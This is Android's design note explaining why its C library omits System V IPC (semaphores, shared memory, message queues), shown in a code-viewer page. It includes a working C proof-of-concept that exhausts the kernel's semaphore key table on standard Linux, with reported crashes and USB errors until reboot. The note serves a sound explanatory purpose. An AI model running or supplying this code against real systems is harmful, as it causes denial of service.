104 lines
		
	
	
		
			3.1 KiB
		
	
	
	
		
			Plaintext
		
	
	
	
	
	
			
		
		
	
	
			104 lines
		
	
	
		
			3.1 KiB
		
	
	
	
		
			Plaintext
		
	
	
	
	
	
Android does not support System V IPCs, i.e. the facilities provided by the
 | 
						|
following standard Posix headers:
 | 
						|
 | 
						|
  <sys/sem.h>   /* SysV semaphores */
 | 
						|
  <sys/shm.h>   /* SysV shared memory segments */
 | 
						|
  <sys/msg.h>   /* SysV message queues */
 | 
						|
  <sys/ipc.h>   /* General IPC definitions */
 | 
						|
 | 
						|
The reason for this is due to the fact that, by design, they lead to global
 | 
						|
kernel resource leakage.
 | 
						|
 | 
						|
For example, there is no way to automatically release a SysV semaphore
 | 
						|
allocated in the kernel when:
 | 
						|
 | 
						|
- a buggy or malicious process exits
 | 
						|
- a non-buggy and non-malicious process crashes or is explicitely killed.
 | 
						|
 | 
						|
Killing processes automatically to make room for new ones is an
 | 
						|
important part of Android's application lifecycle implementation. This means
 | 
						|
that, even assuming only non-buggy and non-malicious code, it is very likely
 | 
						|
that over time, the kernel global tables used to implement SysV IPCs will fill
 | 
						|
up.
 | 
						|
 | 
						|
At that point, strange failures are likely to occur and prevent programs that
 | 
						|
use them to run properly until the next reboot of the system.
 | 
						|
 | 
						|
And we can't ignore potential malicious applications. As a proof of concept
 | 
						|
here is a simple exploit that you can run on a standard Linux box today:
 | 
						|
 | 
						|
--------------- cut here ------------------------
 | 
						|
#include <sys/sem.h>
 | 
						|
#include <sys/wait.h>
 | 
						|
#include <unistd.h>
 | 
						|
#include <stdio.h>
 | 
						|
#include <stdlib.h>
 | 
						|
#include <errno.h>
 | 
						|
 | 
						|
#define  NUM_SEMAPHORES  32
 | 
						|
#define  MAX_FAILS       10
 | 
						|
 | 
						|
int  main(void)
 | 
						|
{
 | 
						|
    int   counter = 0;
 | 
						|
    int   fails   = 0;
 | 
						|
 | 
						|
    if (counter == IPC_PRIVATE)
 | 
						|
        counter++;
 | 
						|
 | 
						|
    printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
 | 
						|
 | 
						|
    for (;;) {
 | 
						|
        int  ret = fork();
 | 
						|
        int  status;
 | 
						|
 | 
						|
        if (ret < 0) {
 | 
						|
            perror("fork:");
 | 
						|
            break;
 | 
						|
        }
 | 
						|
        if (ret == 0) {
 | 
						|
            /* in the child */
 | 
						|
            ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
 | 
						|
            if (ret < 0) {
 | 
						|
                return errno;
 | 
						|
            }
 | 
						|
            return 0;
 | 
						|
        }
 | 
						|
        else {
 | 
						|
            /* in the parent */
 | 
						|
            ret = wait(&status);
 | 
						|
            if (ret < 0) {
 | 
						|
                perror("waitpid:");
 | 
						|
                break;
 | 
						|
            }
 | 
						|
            if (status != 0) {
 | 
						|
                status = WEXITSTATUS(status);
 | 
						|
                fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
 | 
						|
                                counter, status);
 | 
						|
                if (++fails >= MAX_FAILS)
 | 
						|
                    break;
 | 
						|
            }
 | 
						|
        }
 | 
						|
 | 
						|
        counter++;
 | 
						|
        if ((counter % 1000) == 0) {
 | 
						|
            printf("%d\n", counter);
 | 
						|
        }
 | 
						|
        if (counter == IPC_PRIVATE)
 | 
						|
            counter++;
 | 
						|
    }
 | 
						|
    return 0;
 | 
						|
}
 | 
						|
--------------- cut here ------------------------
 | 
						|
 | 
						|
If you run it on a typical Linux distribution today, you'll discover that it
 | 
						|
will quickly fill up the kernel's table of unique key_t values, and that
 | 
						|
strange things will happen in some parts of the system, but not all.
 | 
						|
 | 
						|
(You can use the "ipcs -u" command to get a summary describing the kernel
 | 
						|
 tables and their allocations)
 | 
						|
 | 
						|
For example, in our experience, anything program launched after that that
 | 
						|
calls strerror() will simply crash. The USB sub-system starts spoutting weird
 | 
						|
errors to the system console, etc...
 |